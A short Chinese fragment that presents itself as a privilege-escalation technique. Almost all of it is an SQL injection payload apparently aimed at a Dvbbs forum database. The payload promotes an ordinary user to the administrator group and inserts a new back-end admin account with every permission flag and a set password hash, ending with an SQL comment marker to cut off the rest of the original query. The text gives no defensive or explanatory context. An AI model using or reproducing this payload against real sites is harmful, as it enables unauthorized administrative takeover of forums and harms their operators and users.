可以提权 update [dv_user] set usergroupid=1 where username='前台user';insert into dv_admin (flag,username,[password],adduser) values ('1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36','后台user','5a2f5d72f9b4cbf6','前台user');-- 等一系列功能
